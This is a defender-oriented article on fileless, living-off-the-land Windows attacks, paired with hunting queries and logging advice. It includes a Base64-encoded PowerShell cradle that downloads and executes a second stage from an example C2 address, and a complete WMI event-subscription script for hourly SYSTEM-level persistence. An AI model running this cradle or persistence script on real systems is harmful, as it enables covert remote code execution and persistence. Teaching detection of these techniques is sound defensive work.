Fileless Malware: Living Off the Land Attack Techniques

In 2025, the Scattered Spider crew breached three financial sector targets without dropping a single executable to disk. They used tools already installed on every Windows machine. That technique has a name: living off the land (LotL) — and your EDR probably missed it the first time around.

What Fileless Malware Actually Looks Like

Fileless malware lives in memory, registry keys, or WMI subscriptions. Nothing touches disk in a form antivirus can scan. Attackers chain together legitimate binaries — called LOLBins (Living Off the Land Binaries) — to move laterally, establish persistence, and exfiltrate data.

The entry point is usually a phishing email with a malicious Office macro or a crafted shortcut file. Once clicked, execution passes straight into PowerShell or mshta.exe. No dropper. No staged payload on disk.

Here is what a real initial-access one-liner looks like on a compromised host (WS04.corp.internal, user jmartin):

powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnaAB0AHQAcAA6AC8ALwAxADkAMgAuADAALgAyAC4ANwA3AC8AcwB0AGEAZwBlADIAJwApAA==

That Base64 blob decodes to: IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.77/stage2')

What this means: PowerShell is downloading a second-stage script directly into memory and executing it with Invoke-Expression (IEX). Nothing lands on disk. The web request goes to an attacker-controlled C2 at 192.0.2.77.

What a defender does next: Hunt for -EncodedCommand in process telemetry. Any Base64-encoded PowerShell invocation outside of a known admin script is a red flag. In Splunk or Elastic, filter on CommandLine=*EncodedCommand* and start triaging immediately.

WMI Persistence: The Technique That Survives Reboots

WMI (Windows Management Instrumentation) is a built-in Windows framework for system management. Attackers love it because WMI event subscriptions survive reboots, run as SYSTEM, and generate almost no noise in default logging configurations.

Here is how an attacker establishes WMI-based persistence on WS04.corp.internal:

# Attacker runs this on the compromised host
$FilterArgs = @{
    Name        = 'WindowsUpdateCheck'
    EventNamespace = 'root\cimv2'
    QueryLanguage  = 'WQL'
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minutes = 0"
}
$Filter = New-Object -Namespace root\subscription -Class __EventFilter -Property $FilterArgs

$ConsumerArgs = @{
    Name              = 'WindowsUpdateCheck'
    CommandLineTemplate = 'powershell.exe -NoP -NonI -W Hidden -Enc SQBFAFgA...'
}
$Consumer = New-Object -Namespace root\subscription -Class CommandLineEventConsumer -Property $ConsumerArgs

New-Object -Namespace root\subscription -Class __FilterToConsumerBinding -Property @{
    Filter   = $Filter
    Consumer = $Consumer
}

What this does: Every hour, on the hour, WMI fires the event subscription and executes the encoded PowerShell command as SYSTEM. No scheduled task. No registry Run key. No file on disk. The subscription lives entirely inside the WMI repository at C:\Windows\System32\wbem\Repository.

What a defender does next: Query WMI subscriptions directly. Run this on any suspected host:

Get-WMIObject -Namespace root\subscription -Class __EventFilter | Select Name, Query
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Select Name, CommandLineTemplate
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

If you see filter names like WindowsUpdateCheck or MicrosoftDefenderSync that you did not create, you have an active persistence mechanism. Remove the binding first, then the consumer, then the filter — in that order — or WMI will recreate orphaned objects.

Why Your EDR Keeps Missing This

Most endpoint tools flag malicious files. LotL attacks use signed, trusted binaries — powershell.exe, wmic.exe, certutil.exe — so hash-based detection is useless. Behavior-based rules help, but attackers tune their techniques against public EDR signatures constantly.

The real detection surface is telemetry correlation. A single PowerShell process is noise. PowerShell spawning from winword.exe, making an outbound HTTP connection to a new IP, followed by a WMI subscription creation — that chain is a confirmed incident.

• Enable PowerShell Script Block Logging via Group Policy (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging). This captures decoded commands before execution.
• Enable WMI activity logging in Windows Event Log (channel: Microsoft-Windows-WMI-Activity/Operational, Event ID 5861 flags new consumer registrations).
• Block outbound HTTP from PowerShell at the proxy level unless the source host is an approved admin workstation.

Logging without alerting is just storage. Build a detection rule on WMI Event ID 5861 and ship it to your SIEM today.

What To Do Right Now

Open PowerShell as an administrator on one of your Windows endpoints and run the three Get-WMIObject queries above. Check every CommandLineTemplate value against your known-good baseline. If you do not have a baseline, building one from a clean reference image takes less than 20 minutes — and it will be the most valuable 20 minutes you spend this week.